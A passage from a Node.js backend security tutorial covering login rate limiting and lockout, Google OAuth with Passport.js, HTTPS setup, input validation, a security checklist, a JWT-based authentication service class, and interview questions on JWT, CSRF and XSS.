keyGenerator: (req) => `auth:${req.ip}:${req.body?.email || 'unknown'}`,
});
app.use('/api/', apiLimiter);
app.post('/api/auth/login', authLimiter, loginHandler);
app.post('/api/auth/register', authLimiter, registerHandler);
// Account lockout after too many failed attempts
async function loginWithLockout(email, password) {
const key = `login_attempts:${email}`;
const attempts = await redis.get(key);
if (parseInt(attempts) >= 5) {
const ttl = await redis.ttl(key);
throw new Error(`Account locked. Try again in ${Math.ceil(ttl / 60)} minutes.`);
}
const user = await User.findOne({ email });
const isValid = user && await bcrypt.compare(password, user.password);
if (!isValid) {
await redis.incr(key);
await redis.expire(key, 900); // Lock for 15 minutes
throw new Error('Invalid credentials');
}
await redis.del(key); // Reset on successful login
return user;
}14. OAuth 2.0
What is OAuth 2.0?
OAuth 2.0 lets users log in with their existing accounts (Google, GitHub, Facebook) without giving your app their password.
The Authorization Code Flow (Most Common)
User Your App Google
│ │ │
│ Click │ │
│ "Login with │ │
│ Google" │ │
│──────────────►│ │
│ │ │
│ Redirect to Google's login │
│◄──────────────│ │
│ │ │
│ Login at Google │
│────────────────────────────────►│
│ │ │
│ Google redirects back with CODE │
│◄────────────────────────────────│
│ │ │
│ Send code │ │
│──────────────►│ │
│ │ Exchange code │
│ │ for tokens │
│ │────────────────►│
│ │ │
│ │ Access token │
│ │◄────────────────│
│ │ │
│ │ Get user info │
│ │────────────────►│
│ │ │
│ │ { name, email }│
│ │◄────────────────│
│ │ │
│ Logged in! │ │
│◄──────────────│ │Implementation with Passport.js
// npm install passport passport-google-oauth20
const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;
passport.use(new GoogleStrategy({
clientID: process.env.GOOGLE_CLIENT_ID,
clientSecret: process.env.GOOGLE_CLIENT_SECRET,
callbackURL: '/auth/google/callback',
},
async (accessToken, refreshToken, profile, done) => {
try {
// Find or create user in your database
let user = await User.findOne({ googleId: profile.id });
if (!user) {
user = await User.create({
googleId: profile.id,
name: profile.displayName,
email: profile.emails[0].value,
avatar: profile.photos[0].value,
});
}
done(null, user);
} catch (err) {
done(err, null);
}
}
));
// Routes
app.get('/auth/google',
passport.authenticate('google', { scope: ['profile', 'email'] })
);
app.get('/auth/google/callback',
passport.authenticate('google', { failureRedirect: '/login' }),
(req, res) => {
// Generate your own JWT
const token = generateAccessToken(req.user);
// Redirect to frontend with token
res.redirect(`${process.env.FRONTEND_URL}/auth/callback?token=${token}`);
}
);15. HTTPS & TLS
HTTP = Data sent in plain text — anyone on the network can read it
HTTPS = Data encrypted with TLS — encrypted in transit
WHY HTTPS MATTERS:
• Without HTTPS, passwords, tokens, and data travel as plain text
• Anyone on the same WiFi can intercept (man-in-the-middle attack)
• Without HTTPS, browsers block certain features (geolocation, camera, etc.)// Creating an HTTPS server in Node.js
const https = require('https');
const fs = require('fs');
const express = require('express');
const app = express();
const options = {
key: fs.readFileSync('./certs/private-key.pem'),
cert: fs.readFileSync('./certs/certificate.pem'),
};
https.createServer(options, app).listen(443, () => {
console.log('HTTPS server running on port 443');
});
// In production, you typically use a REVERSE PROXY (Nginx, Caddy)
// that handles HTTPS/TLS termination, and your Node.js app runs on HTTP internally
// Nginx (HTTPS :443) → Node.js (HTTP :3000)
// Force HTTPS redirect
app.use((req, res, next) => {
if (req.headers['x-forwarded-proto'] !== 'https' && process.env.NODE_ENV === 'production') {
return res.redirect(301, `https://${req.hostname}${req.url}`);
}
next();
});
// Trust proxy (when behind Nginx/load balancer)
app.set('trust proxy', 1); // Trust first proxy16. Input Sanitization
// npm install express-validator
const { body, param, query, validationResult } = require('express-validator');
// Validate AND sanitize
app.post('/api/users', [
body('name')
.trim() // Remove whitespace
.notEmpty().withMessage('Name is required')
.isLength({ min: 2, max: 50 })
.escape(), // HTML-encode special characters
body('email')
.isEmail().withMessage('Invalid email')
.normalizeEmail(), // Lowercase, remove dots in Gmail
body('age')
.optional()
.isInt({ min: 13, max: 120 })
.toInt(), // Convert to integer
body('website')
.optional()
.isURL({ protocols: ['https'] })
.withMessage('Must be an HTTPS URL'),
body('role')
.optional()
.isIn(['user', 'admin'])
.withMessage('Role must be user or admin'),
],
(req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({
status: 'error',
errors: errors.array().map(e => ({
field: e.path,
message: e.msg,
})),
});
}
// req.body is now validated and sanitized
// ...
});
// Also sanitize params and query
app.get('/api/users/:id',
param('id').isMongoId().withMessage('Invalid user ID'),
query('fields').optional().trim().escape(),
(req, res) => { /* ... */ }
);17. Security Best Practices Checklist
Authentication:
✅ Hash passwords with bcrypt (cost factor 12+) or argon2
✅ Use JWT with short expiration + refresh tokens
✅ Store refresh tokens in httpOnly cookies
✅ Implement account lockout after N failed attempts
✅ Use HTTPS everywhere
✅ Generate strong secrets (256+ bits)
Input Handling:
✅ Validate all input (type, length, format)
✅ Sanitize output (escape HTML entities)
✅ Use parameterized queries (prevent SQL injection)
✅ Use express-mongo-sanitize (prevent NoSQL injection)
✅ Limit request body size: express.json({ limit: '10kb' })
Headers & Cookies:
✅ Use Helmet.js for security headers
✅ Set Content-Security-Policy
✅ Cookies: httpOnly, secure, sameSite
✅ Enable HSTS
API Security:
✅ Rate limit all endpoints
✅ Stricter limits on auth endpoints
✅ Configure CORS properly (no wildcard in production)
✅ Don't expose stack traces in production errors
✅ Don't expose sensitive data in responses
Dependencies:
✅ Run npm audit regularly
✅ Keep dependencies updated
✅ Use package-lock.json
Environment:
✅ Never commit .env files or secrets to git
✅ Use different secrets for dev/staging/production
✅ Validate required env vars at startup18. Real-World Implementation
Complete Auth System
// auth.service.js — Complete authentication service
const jwt = require('jsonwebtoken');
const bcrypt = require('bcrypt');
const crypto = require('crypto');
class AuthService {
constructor(userModel, redisClient, config) {
this.User = userModel;
this.redis = redisClient;
this.config = config;
}
async register({ name, email, password }) {
const existing = await this.User.findOne({ email });
if (existing) throw new ConflictError('Email already registered');
const hashedPassword = await bcrypt.hash(password, 12);
const user = await this.User.create({
name,
email,
password: hashedPassword,
});
return this.#generateTokens(user);
}
async login({ email, password }) {
// Check lockout
const lockKey = `lockout:${email}`;
const attempts = parseInt(await this.redis.get(lockKey) || '0');
if (attempts >= 5) {
const ttl = await this.redis.ttl(lockKey);
throw new TooManyRequestsError(
`Account locked. Try again in ${Math.ceil(ttl / 60)} minutes.`
);
}
const user = await this.User.findOne({ email }).select('+password');
if (!user || !(await bcrypt.compare(password, user.password))) {
await this.redis.incr(lockKey);
await this.redis.expire(lockKey, 900);
throw new UnauthorizedError('Invalid credentials');
}
await this.redis.del(lockKey);
return this.#generateTokens(user);
}
async refresh(refreshToken) {
if (!refreshToken) throw new UnauthorizedError('No refresh token');
const decoded = jwt.verify(refreshToken, this.config.refreshSecret);
// Check if token is blacklisted
const isBlacklisted = await this.redis.get(`bl:${decoded.jti}`);
if (isBlacklisted) throw new UnauthorizedError('Token revoked');
// Blacklist old refresh token (rotation)
await this.redis.set(`bl:${decoded.jti}`, '1', { EX: decoded.exp - Math.floor(Date.now() / 1000) });
const user = await this.User.findById(decoded.userId);
if (!user) throw new UnauthorizedError('User not found');
return this.#generateTokens(user);
}
async logout(refreshToken) {
if (!refreshToken) return;
try {
const decoded = jwt.verify(refreshToken, this.config.refreshSecret);
// Blacklist the refresh token
const ttl = decoded.exp - Math.floor(Date.now() / 1000);
await this.redis.set(`bl:${decoded.jti}`, '1', { EX: ttl });
} catch {
// Token already expired or invalid — that's fine
}
}
#generateTokens(user) {
const accessToken = jwt.sign(
{ userId: user._id, role: user.role },
this.config.accessSecret,
{ expiresIn: '15m' }
);
const jti = crypto.randomUUID();
const refreshToken = jwt.sign(
{ userId: user._id, jti },
this.config.refreshSecret,
{ expiresIn: '7d' }
);
return {
accessToken,
refreshToken,
user: { id: user._id, name: user.name, email: user.email, role: user.role },
};
}
}
module.exports = AuthService;19. Interview Questions
Q1: How does JWT work? Explain its structure.
Answer: JWT has three Base64URL-encoded parts separated by dots: Header (algorithm, type), Payload (claims/data), and Signature (HMAC or RSA of header+payload). The server signs the token with a secret. To verify, it recomputes the signature and compares. JWT is NOT encrypted — anyone can decode it — but the signature prevents tampering.
Q2: What is CSRF and how do you prevent it?
Answer: CSRF tricks an authenticated user into performing unwanted actions by exploiting the browser's automatic cookie-sending behavior. A malicious site can submit forms or make requests to your site, and the browser attaches the user's cookies automatically. Prevention: (1) SameSite cookie attribute (Strict/Lax), (2) CSRF tokens (synchronized token pattern), (3) Check Origin/Referer headers, (4) Use Authorization header instead of cookies for APIs.
Q3: What is XSS and how do you prevent it?
Answer: XSS injects malicious JavaScript into web pages that runs in other users' browsers. Three types: Stored (saved in DB), Reflected (in URL), DOM-based (client-side). Prevention: (1) Escape all user output (HTML entities), (2) Content-Security-Policy header, (3) httpOnly cookies, (4) Input sanitization with DOMPurify, (5) Use textContent instead of innerHTML.
Q4: Session-based vs Token-based authentication — pros and cons?
Answer: Sessions are stateful (stored on server), easily revocable, but hard to scale across servers. JWT is stateless (stored on client), scales easily (any server can verify), but can't be instantly revoked without a blacklist. Sessions are better for traditional web apps; JWT for SPAs, mobile apps, and microservices.
Q5: Where should you store JWT on the client?
Answer: Access token in memory (JavaScript variable) — safe from XSS and CSRF. Refresh token in httpOnly cookie — safe from XSS (JavaScript can't read it). Never use localStorage for tokens — vulnerable to XSS. When the page reloads, call the refresh endpoint to get a new access token.
Q6: How would you implement "login from all devices" revocation?
Answer: With JWT alone, you can't revoke tokens. Solutions: (1) Maintain a token blacklist in Redis (check on every request), (2) Use refresh token rotation — invalidate all refresh tokens for the user, (3) Store a "tokenVersion" on the user record — include it in JWT and verify it matches on every request.
Q7: What is a CSRF token? How does the double-submit cookie pattern work?
Answer: A CSRF token is a random value the server generates and gives to the client. The client must send it back with every state-changing request. In the double-submit pattern: the server sets a random value as a cookie AND sends it to the client. The client must send the same value in a request header. An attacker's cross-origin request can't read the cookie value to put it in the header, so the request fails.
Q8: Explain the difference between encryption and hashing.
Answer: Encryption is two-way (reversible with a key) — used for data that needs to be read later (storing credit cards, encrypting messages). Hashing is one-way (irreversible) — used for passwords (you only need to verify, not decrypt). bcrypt/argon2 are hashing algorithms with built-in salt and deliberate slowness to resist brute-force attacks.
Next Module: 06 - WebSocket & Real-Time — Real-time communication, chat systems, and live updates.